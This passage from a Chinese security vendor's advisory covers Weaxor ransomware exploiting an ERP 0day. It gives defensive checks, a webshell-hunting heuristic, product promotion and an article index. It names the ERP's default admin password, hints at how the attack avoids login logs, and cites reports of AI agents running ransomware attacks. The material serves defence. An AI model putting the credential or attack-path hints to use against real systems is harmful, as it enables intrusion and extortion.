最后聊聊对手。Weaxor（加密后缀 .rox、.weax 等，勒索信 RECOVERY INFO.txt）于2024年末首次被公开标记，被普遍认为与老牌家族Mallox（又名TargetCompany）存在代码层面的传承关系，采用RaaS模式运营，目标画像一直很稳定：国内的中小型企业。
但它的打法在今年发生了明显变化：
往年：主要利用护网（HW）期间集中流出的Nday、1day漏洞做批量攻击，属于“捡现成的打”； 今年6月：管家婆系列产品0day（详见我们此前的复盘 【全网首发】Weax与Sorry勒索病毒席卷全国中小企业，深度还原全链路攻击，疑似黑客利用AI挖掘管家婆0day漏洞 ）； 今年7月：该ERP 0day，即本文。
从“用别人曝光的漏洞”到“接连拿出未公开的0day”，武器化能力出现了台阶式的跃升。
在管家婆事件的复盘中，我们曾提出一个假设：勒索组织可能正在借助AI辅助进行自动化漏洞审计，大幅缩短从“发现漏洞”到“勒索变现”的时间线。一个月后，海外披露的JADEPUFFER事件首次实锤了AI代理自主完成勒索攻击的完整链路（【深度解析】黑客开始把活外包给AI了，全球首个AI自主勒索攻击全复盘）。回到本次事件，我们没有直接证据证明这个0day出自AI之手，但结合0day接连出现的频率、针对可公开获取的国产软件的精准选题，我们不排除勒索组织正在利用AI进行代码审计与快速武器化的嫌疑。这个趋势，值得每一家软件厂商和每一家中小企业认真对待。
八、SAR 已支持 Weaxor 家族密钥捕获
同步一个进展：思而听防勒索 AI 疫苗（SAR）目前已支持 Weaxor 家族的密钥捕获。
SAR 的核心思路是在勒索软件启动加密行为的瞬间，从内存中捕获加密密钥并留存，让数据恢复不必完全依赖攻击者“守信”。截至 2026 年上半年，SAR 已支持 69 个勒索家族、87 种加密后缀的密钥捕获，累计输出 47 份专项解密方案。
SAR捕获勒索家族密钥的后台日志（示意图）
Solar勒索解密工具使用捕获的密钥完成恢复，6个被加密文件全部解密成功
九、排查与防护建议
9.1 如果你是该 ERP 用户，请立即做这六件事
改掉默认密码88888888，现在就改。特别是 UserID 为 1 的管理员账号。很多人不敢改密码是怕影响业务，这里说清楚：ERP 的登录密码是应用层的访问凭据，改密码不影响任何业务数据和流程，选择业务低峰期操作即可，拿不准就让实施商或厂商远程协助。真正会影响业务的，是被勒索后整条产线停摆。 排查 webshell。检查 ERP 安装目录下的上传目录（按 U数字\Y年份\M月份逐级组织的目录结构），看其中是否存在时间戳样式命名的 aspx、ashx 等可执行脚本文件（例如“14 位数字＋4 位数字”的命名），同时补查 U-1 目录。一旦发现，不要直接删除，先隔离主机、保留现场，再联系专业团队。更新排查认知。两点必须纠正：不能以“已经改过密码”为由排除风险，改没改密码与身份伪造路径无关；不能以“登录日志无异常”为由排除风险，该路径不产生常规登录日志，且上传逻辑会关闭业务日志记录。排查重心必须放在文件层。 把 ERP 从公网上撤下来。本次事件的入口前提就是 Web 服务被直接映射到公网。ERP 不是门户网站，没有让全世界访问的理由；确有远程办公需求，改用 VPN 或 IP 白名单准入。这一项对两条攻击路径同时有效，是当前阶段性价比最高的措施。 在服务器层面加一道保险。对上传落盘目录在 IIS 中禁用脚本执行权限，并对危险脚本扩展名做请求过滤。这类配置可能影响系统正常业务功能，实施前必须在测试环境验证，确认无异常后再谨慎启用，建议由厂商或专业团队协助完成。根本性的修复需要厂商发布补丁，请主动联系厂商确认升级安排。 不要抱有“我的版本不一样”的侥幸。我们已在两个不同版本上分别确认了漏洞存在，缺陷位于系统的通用上传逻辑与身份识别机制，全量版本大概率同样受影响。
9.2 如果你是中小企业主或网管，这四件事越早做越好
日志异地留存。本次事件中，攻击者会自动化清除系统日志，还会把 Web 日志和数据库日志单独加密。把 IIS 日志、安全日志实时外发到另一台独立的机器或日志平台，成本不高，关键时刻是唯一能还原真相的东西。 备份要离线、要异地。能被勒索病毒加密到的备份等于没有备份。恢复业务之前，务必先清除攻击者留下的持久化后门（计划任务、可疑服务、启动项、陌生进程），否则恢复业务等于重新把靶子立起来。 中招后的第一反应决定损失上限。发现被加密，先断网、保现场，不要急于重启、重装、格式化，更不要病急乱投医随意找“解密大师”。完整的自救流程我们此前写过一篇详细的科普，建议收藏备用：【首发科普】来自专业团队的忠告！遇到勒索病毒应如何自救 有条件的企业，建议部署防勒索专项产品。勒索病毒的密钥必须在内存中生成，这是所有勒索软件绕不开的一环，也是防勒索产品能够拦截与恢复的技术基础。 文章撰写与优化：州弟学安全
参与应急人员：州弟学安全、体重下降ing
排版优化：超级油麦
在企业日常的安全运维中，突发勒索病毒往往让人措手不及。遇到这种情况，正确的应急响应流程能够最大程度控制影响范围、降低数据损失。
这里为大家准备了一张完整的《勒索病毒应急处置指南》长图，建议各位安全从业者和IT运维人员收藏备用。如遇突发情况，请保持冷静，参考本图进行快速、规范的处置
附加资料下载： 防御与响应同样重要。扫描图末的二维码，还可以直接获取完整的《2025年勒索病毒年报》以及《勒索处置一体化》等专业文件，帮助大家深入了解当前的威胁趋势，提前做好防御规划。
安全无小事，掌握科学的处置流程，是我们应对突发安全事件最有效的武器。
以下是solar安全团队近期处理过的常见勒索病毒后缀： 勒索攻击作为成熟的攻击手段，很多勒索家族已经形成了一套完整的商业体系，并且衍生了多个分支团队，导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同，TellYouThePass勒索软件家族常常利用系统漏洞进行攻击；Phobos勒索软件家族通过RDP暴力破解进行勒索；Mallox勒索软件家族利用数据库漏洞，如(mssql命令执行)及暴力破解进行加密，攻击手法极多防不胜防。 收录时间 相关文章
2024/12/12 【攻击手法分析】勒索病毒如何轻松绕过安全设备防线：第二篇-流量致盲，无声突破 2024/12/11 【攻击手法分析】勒索病毒如何轻松绕过安全设备防线：第一篇-驱动漏洞一击致命 有效的预防方法包括针对自身业务进行定期的基线加固、补丁更新及数据备份，在其基础上加强公司安全人员意识。 收录时间 相关文章
2024/06/27 【教程分享】勒索病毒来袭！教你如何做好数据防护 2024/06/24 【教程分享】服务器数据文件备份教程 案例介绍篇聚焦于真实的攻击事件，还原病毒家族的攻击路径和策略，为用户提供详细的溯源分析和防护启示；
收录时间 相关文章
2024/06/27 【案例介绍】赎金提高，防御失效：某上市企业两年内两度陷入同一勒索团伙之手 2024/01/26 【成功案例】某集团公司的Phobos最新变种勒索病毒jopanaxye解密恢复项目 2024/03/13 【成功案例】某集团公司的Phobos最新变种勒索病毒2700解密恢复项目 2024/04/01 【成功案例】间隔数月双团伙先后利用某ERP0day实施入侵和勒索的解密恢复项目 2024/04/26 【成功案例】利用多款国产内网渗透工具勒索数十台虚拟机的babyk解密恢复项目 2024/05/17 【成功案例】RDP暴露引发的蝴蝶效应：LockBit组织利用MSF工具及永恒之蓝漏洞进行勒索入侵 2024/11/28 【成功案例】lockbit家族百万赎金不必付！技术手段修复被加密的数据库，附溯源分析报告 2025/10/23 【成功案例】成功挫败 888 勒索家族历时半年的百万赎金勒索，应急处置全流程高效修复，避免千万损失并获客户赠送锦旗 漏洞与预防篇侧重于技术层面的防御手段，针对病毒利用的漏洞和安全弱点，提出操作性强的应对方案： 收录时间 相关文章
2025/01/08 【漏洞与预防】RDP弱口令漏洞预防 2025/01/21 【漏洞与预防】MSSQL数据库弱口令漏洞预防 2025/02/18 【漏洞与预防】远程代码执行漏洞预防 2025/04/10 【漏洞与预防】Atlassian Confluence存在远程代码执行漏洞 2025/04/17 【漏洞与预防】畅捷通文件上传漏洞预防 2025/05/27 【漏洞与预防】Microsoft Windows 文件资源管理器欺骗漏洞预防 2025/09/02 【漏洞与预防】Redis CVE-2025-32023 RCE漏洞验证与预防 应急响应工具教程篇重点分享应急响应过程中常用工具的安装、配置与使用说明，旨在帮助读者快速掌握这些工具的操作流程与技巧，提高其在实际应急场景中的应用熟练度与效率。 收录时间 相关文章
2025/01/10 【应急响应工具教程】Splunk安装与使用 2025/02/07 【应急响应工具教程】取证工具-Volatility安装与使用 2025/02/20 【应急响应工具教程】流量嗅探工具-Tcpdump 2025/02/26 【应急响应工具教程】一款精准搜索文件夹内容的工具--FileSeek 2025/03/03 【应急响应工具教程】一款自动化分析网络安全应急响应工具--FindAll 2025/03/13 【应急响应工具教程】Windows 系统操作历史监控与审计工具-LastActivityView 2025/03/20 【应急响应工具教程】镜像取证之挂载镜像——Arsenal Image Mounter 2025/04/03 【应急响应工具教程】Windows 系统综合排查工具Hawkeye 2025/04/08 【应急响应工具教程】Linux下应急响应工具whohk 2025/05/15 【应急响应工具教程】Windows日志快速分析工具——Chainsaw 2025/06/05 【应急响应工具教程】Logman 系统性能与日志采集工具 2025/07/02 【应急响应工具教程】QDoctor应急响应神器：一键检测系统安全 2025/07/08 【应急响应工具教程】Linux应急响应工具集：一键式安全评估与可视化报告系统 2025/07/23 【应急响应工具教程】司稽（Whoamifuck）：纯Shell打造的Linux应急响应利器 2025/08/05 【应急响应工具教程】主机侧Checklist的自动全面化检测脚本-GScan 2025/08/19 【应急响应工具教程】SPECTR3：通过便携式 iSCSI 实现远程证据的只读获取与分析 如果您想了解有关勒索病毒的最新发展情况，或者需要获取相关帮助，请关注“Solar应急响应团队”。 全国热线| 400-613-6816
更多资讯| 扫码加入群组交流
